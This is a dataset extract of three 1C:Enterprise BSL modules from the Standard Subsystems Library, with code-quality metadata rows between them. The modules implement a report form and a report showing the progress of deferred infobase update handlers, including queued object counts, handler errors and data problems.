/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Область ОбработчикиСобытийФормы &НаСервере Процедура ПриСозданииНаСервере(Отказ, СтандартнаяОбработка) УстановитьВариантНаСервере(); КонецПроцедуры #КонецОбласти #Область ОбработчикиКомандФормы &НаКлиенте Процедура ПервыйВариант(Команда) УстановитьВариантНаСервере(1); КонецПроцедуры &НаКлиенте Процедура ВторойВариант(Команда) УстановитьВариантНаСервере(2); КонецПроцедуры #КонецОбласти #Область СлужебныеПроцедурыИФункции &НаСервере Процедура УстановитьВариантНаСервере(Вариант = 0) Отчеты.ДатыЗапретаИзменения.УстановитьВариант(ЭтотОбъект, Вариант); КонецПроцедуры #КонецОбласти
1,116
Module
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 83, "qsc_code_num_chars": 1116.0, "qsc_code_mean_word_length": 8.96385542, "qsc_code_frac_words_unique": 0.71084337, "qsc_code_frac_chars_top_2grams": 0.00806452, "qsc_code_frac_chars_top_3grams": 0.01075269, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01380671, "qsc_code_frac_chars_whitespace": 0.09139785, "qsc_code_size_file_byte": 1116.0, "qsc_code_num_lines": 47.0, "qsc_code_num_chars_line_max": 105.0, "qsc_code_num_chars_line_mean": 23.74468085, "qsc_code_frac_chars_alphabet": 0.71893491, "qsc_code_frac_chars_comments": 0.90591398, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ПрогрессОтложенногоОбновления/Ext/ObjectModule.bsl
/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Если Сервер Или ТолстыйКлиентОбычноеПриложение Или ВнешнееСоединение Тогда #Область ОбработчикиСобытий // Вызывается в обработчике одноименного события формы отчета после выполнения кода формы. // // Параметры: // Форма - ФормаКлиентскогоПриложения - форма отчета. // Отказ - Булево - передается из параметров стандартного обработчика ПриСозданииНаСервере "как есть". // СтандартнаяОбработка - Булево - передается из параметров стандартного обработчика ПриСозданииНаСервере "как есть". // Процедура ПриСозданииНаСервере(Форма, Отказ, СтандартнаяОбработка) Экспорт // Добавление команд на командную панель. Если Пользователи.ЭтоПолноправныйПользователь() Тогда МодульОтчетыСервер = ОбщегоНазначения.ОбщийМодуль("ОтчетыСервер"); Команда = Форма.Команды.Добавить("ПрогрессОтложенногоОбновленияЗависимости"); Команда.Действие = "Подключаемый_Команда"; Команда.Заголовок = НСтр("ru = 'Зависимости обработчика'"); Команда.Подсказка = НСтр("ru = 'Посмотреть зависимости выбранного обработчика'"); Команда.Картинка = БиблиотекаКартинок.ЗатенитьФлажки; МодульОтчетыСервер.ВывестиКоманду(Форма, Команда, "Настройки"); Команда = Форма.Команды.Добавить("ПрогрессОтложенногоОбновленияОшибки"); Команда.Действие = "Подключаемый_Команда"; Команда.Заголовок = НСтр("ru = 'Посмотреть ошибки'"); Команда.Подсказка = НСтр("ru = 'Посмотреть ошибки в журнале регистрации'"); Команда.Картинка = БиблиотекаКартинок.ЖурналРегистрации; МодульОтчетыСервер.ВывестиКоманду(Форма, Команда, "Настройки"); КонецЕсли; КонецПроцедуры Процедура ПриКомпоновкеРезультата(ДокументРезультат, ДанныеРасшифровки, СтандартнаяОбработка) СтандартнаяОбработка = Ложь; НастройкиКД = КомпоновщикНастроек.ПолучитьНастройки(); ПрогрессОбработки = НастройкиКД.ПараметрыДанных.Элементы.Найти("ПрогрессОбработки"); Период = Неопределено; Если ПрогрессОбработки.Использование Тогда Период = ПрогрессОбработки.Значение; КонецЕсли; Кеш = НастройкиКД.ПараметрыДанных.Элементы.Найти("Кеш"); ТекущееЗначениеКеша = НастройкиКД.ПараметрыДанных.Элементы.Найти("Кеш").Значение; ТаблицаРезультата = Неопределено; Если ЗначениеЗаполнено(ТекущееЗначениеКеша) Тогда ТаблицаРезультата = ПолучитьИзВременногоХранилища(ТекущееЗначениеКеша); КонецЕсли; КешироватьРезультат = НастройкиКД.ПараметрыДанных.Элементы.Найти("КешироватьРезультат").Значение И НастройкиКД.ПараметрыДанных.Элементы.Найти("КешироватьРезультат").Использование; Если Не КешироватьРезультат Или ТаблицаРезультата = Неопределено Тогда ТаблицаРезультата = ЗарегистрированныеОбъекты(Период); КонецЕсли; ПоместитьВоВременноеХранилище(ТаблицаРезультата, Кеш.Значение); ВнешниеНаборыДанных = Новый Структура("ТаблицаРезультата", ТаблицаРезультата); КомпоновщикМакетаКД = Новый КомпоновщикМакетаКомпоновкиДанных; МакетКД = КомпоновщикМакетаКД.Выполнить(СхемаКомпоновкиДанных, НастройкиКД, ДанныеРасшифровки); ПроцессорКД = Новый ПроцессорКомпоновкиДанных; ПроцессорКД.Инициализировать(МакетКД, ВнешниеНаборыДанных, ДанныеРасшифровки, Истина); ПроцессорВыводаРезультатаКД = Новый ПроцессорВыводаРезультатаКомпоновкиДанныхВТабличныйДокумент; ПроцессорВыводаРезультатаКД.УстановитьДокумент(ДокументРезультат); ПроцессорВыводаРезультатаКД.Вывести(ПроцессорКД); ДокументРезультат.ПоказатьУровеньГруппировокСтрок(2); КомпоновщикНастроек.ПользовательскиеНастройки.ДополнительныеСвойства.Вставить("ОтчетПустой", ТаблицаРезультата.Количество() = 0); КонецПроцедуры // Задать настройки формы отчета. // // Параметры: // Форма - ФормаКлиентскогоПриложения // - Неопределено // КлючВарианта - Строка // - Неопределено // Настройки - см. ОтчетыКлиентСервер.НастройкиОтчетаПоУмолчанию // Процедура ОпределитьНастройкиФормы(Форма, КлючВарианта, Настройки) Экспорт Настройки.СкрытьКомандыРассылки = Истина; Настройки.ФормироватьСразу = Ложь; Настройки.События.ПриСозданииНаСервере = Истина; Настройки.События.ПриЗагрузкеВариантаНаСервере = Истина; Настройки.События.ПриЗагрузкеПользовательскихНастроекНаСервере = Истина; Настройки.События.ПриОпределенииПараметровВыбора = Истина; КонецПроцедуры Процедура ПриЗагрузкеВариантаНаСервере(Форма, НовыеНастройкиКД) Экспорт ПараметрКД = Форма.Отчет.КомпоновщикНастроек.Настройки.ПараметрыДанных.Элементы.Найти("Кеш"); ПараметрКД.Значение = ПоместитьВоВременноеХранилище(Неопределено, Форма.УникальныйИдентификатор); ПараметрКД = Форма.Отчет.КомпоновщикНастроек.Настройки.ПараметрыДанных.Элементы.Найти("КешПриоритетов"); ПараметрКД.Значение = ПоместитьВоВременноеХранилище(Неопределено, Форма.УникальныйИдентификатор); КонецПроцедуры // Параметры: // Форма - ФормаКлиентскогоПриложения // НовыеПользовательскиеНастройкиКД - ПользовательскиеНастройкиКомпоновкиДанных // Процедура ПриЗагрузкеПользовательскихНастроекНаСервере(Форма, НовыеПользовательскиеНастройкиКД) Экспорт Если Форма.Отчет.КомпоновщикНастроек.ПользовательскиеНастройки.ДополнительныеСвойства.Свойство("КэшЗначенийОтборов") Тогда Форма.Отчет.КомпоновщикНастроек.ПользовательскиеНастройки.ДополнительныеСвойства.КэшЗначенийОтборов.Очистить(); КонецЕсли; КонецПроцедуры // См. ОтчетыПереопределяемый.ПриОпределенииПараметровВыбора Процедура ПриОпределенииПараметровВыбора(Форма, СвойстваНастройки) Экспорт Если СвойстваНастройки.ПолеКД = Новый ПолеКомпоновкиДанных("ПараметрыДанных.ПрогрессОбработки") Тогда СвойстваНастройки.ЗначенияДляВыбора.Добавить(Формат(НачалоДня(ТекущаяДатаСеанса()), "ДЛФ=D") + " " + "00:00:00", НСтр("ru = 'За весь период'")); ДоступныеПериоды(СвойстваНастройки.ЗначенияДляВыбора); ИначеЕсли СвойстваНастройки.ПолеКД = Новый ПолеКомпоновкиДанных("ПараметрыДанных.КешироватьРезультат") Тогда СвойстваНастройки.ВыводитьТолькоФлажок = Истина; КонецЕсли; КонецПроцедуры #КонецОбласти #Область СлужебныеПроцедурыИФункции Функция ДоступныеПериоды(ДоступныеПериоды) Запрос = Новый Запрос; Запрос.Текст = "ВЫБРАТЬ РАЗЛИЧНЫЕ | ПрогрессОбновления.ИнтервалЧас КАК ИнтервалЧас |ИЗ | РегистрСведений.ПрогрессОбновления КАК ПрогрессОбновления"; Результат = Запрос.Выполнить().Выгрузить(); Для Каждого Строка Из Результат Цикл Если День(Строка.ИнтервалЧас) = День(ТекущаяДатаСеанса()) Тогда ФорматнаяСтрока = "ДЛФ=T"; Иначе ФорматнаяСтрока = "ДЛФ=DT"; КонецЕсли; ПредставлениеИнтервала = "с %1"; ПредставлениеИнтервала = СтрШаблон(ПредставлениеИнтервала, Формат(Строка.ИнтервалЧас, ФорматнаяСтрока)); ДоступныеПериоды.Добавить(Строка(Строка.ИнтервалЧас), ПредставлениеИнтервала); КонецЦикла; Возврат ДоступныеПериоды; КонецФункции Функция ЗарегистрированныеОбъекты(ВыбранныеИнтервалы) Запрос = Новый Запрос; Запрос.Текст = "ВЫБРАТЬ | ОбновлениеИнформационнойБазы.Ссылка КАК Ссылка |ИЗ | ПланОбмена.ОбновлениеИнформационнойБазы КАК ОбновлениеИнформационнойБазы |ГДЕ | ОбновлениеИнформационнойБазы.Временная = ЛОЖЬ"; Результат = Запрос.Выполнить().Выгрузить(); МассивУзлов = Результат.ВыгрузитьКолонку("Ссылка"); СписокУзлов = Новый СписокЗначений; СписокУзлов.ЗагрузитьЗначения(МассивУзлов); ТаблицаРезультата = Новый ТаблицаЗначений; ТаблицаРезультата.Колонки.Добавить("СинонимКонфигурации"); ТаблицаРезультата.Колонки.Добавить("ПолноеИмя"); ТаблицаРезультата.Колонки.Добавить("ТипОбъекта"); ТаблицаРезультата.Колонки.Добавить("Представление"); ТаблицаРезультата.Колонки.Добавить("ТипМетаданных"); ТаблицаРезультата.Колонки.Добавить("КоличествоОбъектов"); ТаблицаРезультата.Колонки.Добавить("Очередь"); ТаблицаРезультата.Колонки.Добавить("ОбработчикОбновления"); ТаблицаРезультата.Колонки.Добавить("Статус"); ТаблицаРезультата.Колонки.Добавить("ОбработаноЗаИнтервал", Новый ОписаниеТипов("Число")); ТаблицаРезультата.Колонки.Добавить("ВсегоОбъектов", Новый ОписаниеТипов("Число")); ТаблицаРезультата.Колонки.Добавить("ЕстьОшибки", Новый ОписаниеТипов("Булево")); ТаблицаРезультата.Колонки.Добавить("ПроблемаВДанных", Новый ОписаниеТипов("Булево")); СоставПланаОбмена = Метаданные.ПланыОбмена.ОбновлениеИнформационнойБазы.Состав; СоответствиеПредставлений = Новый Соответствие; СинонимКонфигурации = Метаданные.Синоним; ТекстЗапроса = ""; Запрос = Новый Запрос; Запрос.УстановитьПараметр("СписокУзлов", СписокУзлов); Ограничение = 0; Для Каждого ЭлементПланаОбмена Из СоставПланаОбмена Цикл ОбъектМетаданных = ЭлементПланаОбмена.Метаданные; Если Не ПравоДоступа("Чтение", ОбъектМетаданных) Тогда Продолжить; КонецЕсли; Представление = ОбъектМетаданных.Представление(); ПолноеИмя = ОбъектМетаданных.ПолноеИмя(); ПолноеИмяЧастями = СтрРазделить(ПолноеИмя, "."); // Преобразование из "РегистрРасчета.ОсновныеНачисления.Перерасчет.ПерерасчетОсновныхНачислений.Изменения" // в "РегистрРасчета.ОсновныеНачисления.ПерерасчетОсновныхНачислений.Изменения". Если ПолноеИмяЧастями[0] = "РегистрРасчета" И ПолноеИмяЧастями.Количество() = 4 И ПолноеИмяЧастями[2] = "Перерасчет" Тогда ПолноеИмяЧастями.Удалить(2); // удалить лишний "Перерасчет" ПолноеИмя = СтрСоединить(ПолноеИмяЧастями, "."); КонецЕсли; // Контекстный перевод ТекстЗапроса = ТекстЗапроса + ?(ТекстЗапроса = "", "", "ОБЪЕДИНИТЬ ВСЕ") + " |ВЫБРАТЬ | ""&ПредставлениеТипаМетаданных"" КАК ТипМетаданных, | ""&ТипОбъекта"" КАК ТипОбъекта, | ""&ПолноеИмя"" КАК ПолноеИмя, | Узел.Очередь КАК Очередь, | КОЛИЧЕСТВО(*) КАК КоличествоОбъектов |ИЗ | &ТаблицаИзменений |ГДЕ | Узел В (&СписокУзлов) |СГРУППИРОВАТЬ ПО | Узел |"; ТекстЗапроса = СтрЗаменить(ТекстЗапроса, "&ПредставлениеТипаМетаданных", ПредставлениеТипаМетаданных(ПолноеИмяЧастями[0])); ТекстЗапроса = СтрЗаменить(ТекстЗапроса, "&ТипОбъекта", ПолноеИмяЧастями[1]); ТекстЗапроса = СтрЗаменить(ТекстЗапроса, "&ПолноеИмя", ПолноеИмя); ТекстЗапроса = СтрЗаменить(ТекстЗапроса, "&ТаблицаИзменений", ПолноеИмя + ".Изменения"); Ограничение = Ограничение + 1; СоответствиеПредставлений.Вставить(ПолноеИмяЧастями[1], Представление); Если Ограничение = 200 Тогда Запрос.Текст = ТекстЗапроса; Выборка = Запрос.Выполнить().Выбрать(); // @skip-check query-in-loop - порционная выборка для избежания слишком тяжелого запроса. Пока Выборка.Следующий() Цикл Строка = ТаблицаРезультата.Добавить(); ЗаполнитьЗначенияСвойств(Строка, Выборка); Строка.СинонимКонфигурации = СинонимКонфигурации; Строка.Представление = СоответствиеПредставлений[Строка.ТипОбъекта]; КонецЦикла; Ограничение = 0; ТекстЗапроса = ""; СоответствиеПредставлений = Новый Соответствие; КонецЕсли; КонецЦикла; Если ТекстЗапроса <> "" Тогда Запрос.Текст = ТекстЗапроса; Выборка = Запрос.Выполнить().Выбрать(); Пока Выборка.Следующий() Цикл Строка = ТаблицаРезультата.Добавить(); ЗаполнитьЗначенияСвойств(Строка, Выборка); Строка.СинонимКонфигурации = СинонимКонфигурации; Строка.Представление = СоответствиеПредставлений[Строка.ТипОбъекта]; КонецЦикла; КонецЕсли; ПрогрессОбработкиДанных = ПрогрессОбработкиДанных(ВыбранныеИнтервалы); ОшибкиПриВыполненииОбработчиков = ОшибкиПриВыполненииОбработчиков(); ПроблемыСДаннымиВОбработчиках = ПроблемыСДаннымиВОбработчиках(); Обработчики = ОбновлениеИнформационнойБазыСлужебный.ОбработчикиДляОтложеннойРегистрацииДанных(); Для Каждого Обработчик Из Обработчики Цикл ДанныеПоОбработчику = Обработчик.ОбрабатываемыеДанные.Получить(); ИмяОбработчика = Обработчик.ИмяОбработчика; СтатусОбработчика = Обработчик.Статус; Если ПрогрессОбработкиДанных = Неопределено Тогда ОбъектовОбработано = 0; Иначе ПараметрыОтбора = Новый Структура; ПараметрыОтбора.Вставить("ИмяОбработчика", ИмяОбработчика); Строки = ПрогрессОбработкиДанных.НайтиСтроки(ПараметрыОтбора); ОбъектовОбработано = 0; Для Каждого Строка Из Строки Цикл ОбъектовОбработано = ОбъектовОбработано + Строка.ОбъектовОбработано; КонецЦикла; КонецЕсли; Для Каждого ДанныеПоОбъекту Из ДанныеПоОбработчику.ДанныеОбработчика Цикл ПолноеИмяОбъекта = ДанныеПоОбъекту.Ключ; Очередь = ДанныеПоОбъекту.Значение.Очередь; Количество = ДанныеПоОбъекту.Значение.Количество; ПараметрыОтбора = Новый Структура; ПараметрыОтбора.Вставить("ПолноеИмя", ПолноеИмяОбъекта); ПараметрыОтбора.Вставить("Очередь", Очередь); Строки = ТаблицаРезультата.НайтиСтроки(ПараметрыОтбора); Для Каждого Строка Из Строки Цикл Если Не ЗначениеЗаполнено(Строка.ОбработчикОбновления) Тогда Строка.ОбработчикОбновления = ИмяОбработчика; Иначе Строка.ОбработчикОбновления = Строка.ОбработчикОбновления + "," + Символы.ПС + ИмяОбработчика; КонецЕсли; Строка.ВсегоОбъектов = Строка.ВсегоОбъектов + Количество; Если ОбъектовОбработано > Строка.ВсегоОбъектов Тогда ОбъектовОбработано = Строка.ВсегоОбъектов; КонецЕсли; Строка.ОбработаноЗаИнтервал = ОбъектовОбработано; Строка.Статус = СтатусОбработчика; Если ОшибкиПриВыполненииОбработчиков[ИмяОбработчика] = Истина Тогда Строка.ЕстьОшибки = Истина; КонецЕсли; Если ПроблемыСДаннымиВОбработчиках[ИмяОбработчика] = Истина Тогда Строка.ПроблемаВДанных = Истина; КонецЕсли; КонецЦикла; // Объект полностью обработан. Если Строки.Количество() = 0 Тогда Строка = ТаблицаРезультата.Добавить(); ПолноеИмяЧастями = СтрРазделить(ПолноеИмяОбъекта, "."); Строка.СинонимКонфигурации = СинонимКонфигурации; Строка.ПолноеИмя = ПолноеИмяОбъекта; Строка.ТипОбъекта = ПолноеИмяЧастями[1]; Строка.Представление = ОбщегоНазначения.ОбъектМетаданныхПоПолномуИмени(ПолноеИмяОбъекта).Представление(); Строка.ТипМетаданных = ПредставлениеТипаМетаданных(ПолноеИмяЧастями[0]); Строка.Очередь = Очередь; Строка.ОбработчикОбновления = ИмяОбработчика; Строка.ВсегоОбъектов = Строка.ВсегоОбъектов + Количество; Строка.КоличествоОбъектов = 0; Если ОбъектовОбработано > Строка.ВсегоОбъектов Тогда ОбъектовОбработано = Строка.ВсегоОбъектов; КонецЕсли; Строка.ОбработаноЗаИнтервал = ОбъектовОбработано; Строка.Статус = СтатусОбработчика; Если ОшибкиПриВыполненииОбработчиков[ИмяОбработчика] = Истина Тогда Строка.ЕстьОшибки = Истина; КонецЕсли; Если ПроблемыСДаннымиВОбработчиках[ИмяОбработчика] = Истина Тогда Строка.ПроблемаВДанных = Истина; КонецЕсли; КонецЕсли; КонецЦикла; КонецЦикла; Отбор = Новый Структура; Отбор.Вставить("ОбработчикОбновления", Неопределено); РезультатПоиска = ТаблицаРезультата.НайтиСтроки(Отбор); Для Каждого Строка Из РезультатПоиска Цикл ТаблицаРезультата.Удалить(Строка); КонецЦикла; Возврат ТаблицаРезультата; КонецФункции Функция ПрогрессОбработкиДанных(ВыбранныйИнтервал) Если ВыбранныйИнтервал = Неопределено Тогда Возврат Неопределено; КонецЕсли; ОписаниеДаты = Новый ОписаниеТипов("Дата"); ПриведенноеЗначениеДаты = ОписаниеДаты.ПривестиЗначение(ВыбранныйИнтервал); Если Не ЗначениеЗаполнено(ПриведенноеЗначениеДаты) Тогда Возврат Неопределено; КонецЕсли; Запрос = Новый Запрос; Запрос.УстановитьПараметр("ИнтервалЧас", ПриведенноеЗначениеДаты); Запрос.Текст = "ВЫБРАТЬ | ПрогрессОбновления.ИмяОбработчика КАК ИмяОбработчика, | СУММА(ПрогрессОбновления.ОбъектовОбработано) КАК ОбъектовОбработано |ИЗ | РегистрСведений.ПрогрессОбновления КАК ПрогрессОбновления |ГДЕ | ПрогрессОбновления.ИнтервалЧас >= &ИнтервалЧас | |СГРУППИРОВАТЬ ПО | ПрогрессОбновления.ИмяОбработчика"; Результат = Запрос.Выполнить().Выгрузить(); Возврат Результат; КонецФункции Функция ОшибкиПриВыполненииОбработчиков() ОбработчикиСПроблемами = Новый Соответствие; Запрос = Новый Запрос; Запрос.УстановитьПараметр("РежимВыполненияОтложенногоОбработчика", Перечисления.РежимыВыполненияОтложенныхОбработчиков.Параллельно); Запрос.Текст = "ВЫБРАТЬ | ОбработчикиОбновления.ИмяОбработчика КАК ИмяОбработчика, | ОбработчикиОбновления.СтатистикаВыполнения КАК СтатистикаВыполнения |ИЗ | РегистрСведений.ОбработчикиОбновления КАК ОбработчикиОбновления |ГДЕ | ОбработчикиОбновления.РежимВыполненияОтложенногоОбработчика = &РежимВыполненияОтложенногоОбработчика"; Блокировка = Новый БлокировкаДанных; ЭлементБлокировки = Блокировка.Добавить("РегистрСведений.ОбработчикиОбновления"); ЭлементБлокировки.Режим = РежимБлокировкиДанных.Разделяемый; НачатьТранзакцию(); Попытка Блокировка.Заблокировать(); Результат = Запрос.Выполнить().Выгрузить(); ЗафиксироватьТранзакцию(); Исключение ОтменитьТранзакцию(); ВызватьИсключение; КонецПопытки; Для Каждого СтрокаОбработчик Из Результат Цикл СтатистикаВыполнения = СтрокаОбработчик.СтатистикаВыполнения.Получить(); Если СтатистикаВыполнения = Неопределено Тогда Продолжить; КонецЕсли; Если СтатистикаВыполнения["ЕстьОшибки"] <> Неопределено И СтатистикаВыполнения["ЕстьОшибки"] Тогда ОбработчикиСПроблемами.Вставить(СтрокаОбработчик.ИмяОбработчика, Истина); КонецЕсли; КонецЦикла; Возврат ОбработчикиСПроблемами; КонецФункции Функция ПроблемыСДаннымиВОбработчиках() ПроблемыПоОбработчику = Новый Соответствие; Если ОбщегоНазначения.ПодсистемаСуществует("СтандартныеПодсистемы.КонтрольВеденияУчета") Тогда МодульКонтрольВеденияУчета = ОбщегоНазначения.ОбщийМодуль("КонтрольВеденияУчета"); ОшибкиПоВидамПроверок = МодульКонтрольВеденияУчета.ПодробнаяИнформацияПоВидамПроверок("ОбновлениеВерсииИБ", Ложь); Для Каждого Ошибка Из ОшибкиПоВидамПроверок Цикл ВидПроверки = Ошибка.ВидПроверки; ИмяОбработчика = ОбщегоНазначения.ЗначениеРеквизитаОбъекта(ВидПроверки, "Свойство2"); ПроблемыПоОбработчику.Вставить(ИмяОбработчика, Истина); КонецЦикла; КонецЕсли; Возврат ПроблемыПоОбработчику; КонецФункции Функция ПредставлениеТипаМетаданных(ТипМетаданных) Соответствие = Новый Соответствие; Соответствие.Вставить("Константа", НСтр("ru = 'Константы'")); Соответствие.Вставить("Справочник", НСтр("ru = 'Справочники'")); Соответствие.Вставить("Документ", НСтр("ru = 'Документы'")); Соответствие.Вставить("ПланВидовХарактеристик", НСтр("ru = 'Планы видов характеристик'")); Соответствие.Вставить("ПланСчетов", НСтр("ru = 'Планы счетов'")); Соответствие.Вставить("ПланВидовРасчета", НСтр("ru = 'Планы видов расчета'")); Соответствие.Вставить("РегистрСведений", НСтр("ru = 'Регистры сведений'")); Соответствие.Вставить("РегистрНакопления", НСтр("ru = 'Регистры накопления'")); Соответствие.Вставить("РегистрБухгалтерии", НСтр("ru = 'Регистры бухгалтерии'")); Соответствие.Вставить("РегистрРасчета", НСтр("ru = 'Регистры расчета'")); Соответствие.Вставить("БизнесПроцесс", НСтр("ru = 'Бизнес процессы'")); Соответствие.Вставить("Задача", НСтр("ru = 'Задачи'")); Возврат Соответствие[ТипМетаданных]; КонецФункции #КонецОбласти #Иначе ВызватьИсключение НСтр("ru = 'Недопустимый вызов объекта на клиенте.'"); #КонецЕсли
19,260
ObjectModule
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 1415, "qsc_code_num_chars": 19260.0, "qsc_code_mean_word_length": 10.70388693, "qsc_code_frac_words_unique": 0.27491166, "qsc_code_frac_chars_top_2grams": 0.0071306, "qsc_code_frac_chars_top_3grams": 0.027466, "qsc_code_frac_chars_top_4grams": 0.01287469, "qsc_code_frac_chars_dupe_5grams": 0.20724944, "qsc_code_frac_chars_dupe_6grams": 0.13574541, "qsc_code_frac_chars_dupe_7grams": 0.10867556, "qsc_code_frac_chars_dupe_8grams": 0.10867556, "qsc_code_frac_chars_dupe_9grams": 0.08371847, "qsc_code_frac_chars_dupe_10grams": 0.07341872, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0023517, "qsc_code_frac_chars_whitespace": 0.11687435, "qsc_code_size_file_byte": 19260.0, "qsc_code_num_lines": 482.0, "qsc_code_num_chars_line_max": 147.0, "qsc_code_num_chars_line_mean": 39.95850622, "qsc_code_frac_chars_alphabet": 0.88805926, "qsc_code_frac_chars_comments": 0.99454829, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ПрогрессОтложенногоОбновления/Ext/ManagerModule.bsl
/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Если Сервер Или ТолстыйКлиентОбычноеПриложение Или ВнешнееСоединение Тогда #Область ПрограммныйИнтерфейс #Область ДляВызоваИзДругихПодсистем // СтандартныеПодсистемы.ВариантыОтчетов // Параметры: // Настройки - см. ВариантыОтчетовПереопределяемый.НастроитьВариантыОтчетов.Настройки. // НастройкиОтчета - см. ВариантыОтчетов.ОписаниеОтчета. // Процедура НастроитьВариантыОтчета(Настройки, НастройкиОтчета) Экспорт МодульВариантыОтчетов = ОбщегоНазначения.ОбщийМодуль("ВариантыОтчетов"); НастройкиОтчета.ОпределитьНастройкиФормы = Истина; НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ПрогрессОтложенногоОбновления"); НастройкиВарианта.Описание = НСтр("ru = 'Прогресс выполнения дополнительных процедур обработки данных.'"); НастройкиВарианта.НастройкиДляПоиска.КлючевыеСлова = НСтр("ru = 'Отложенное обновление'"); КонецПроцедуры // Конец СтандартныеПодсистемы.ВариантыОтчетов #КонецОбласти #КонецОбласти #КонецЕсли
1,482
ManagerModule
bsl
ru
1c enterprise
code
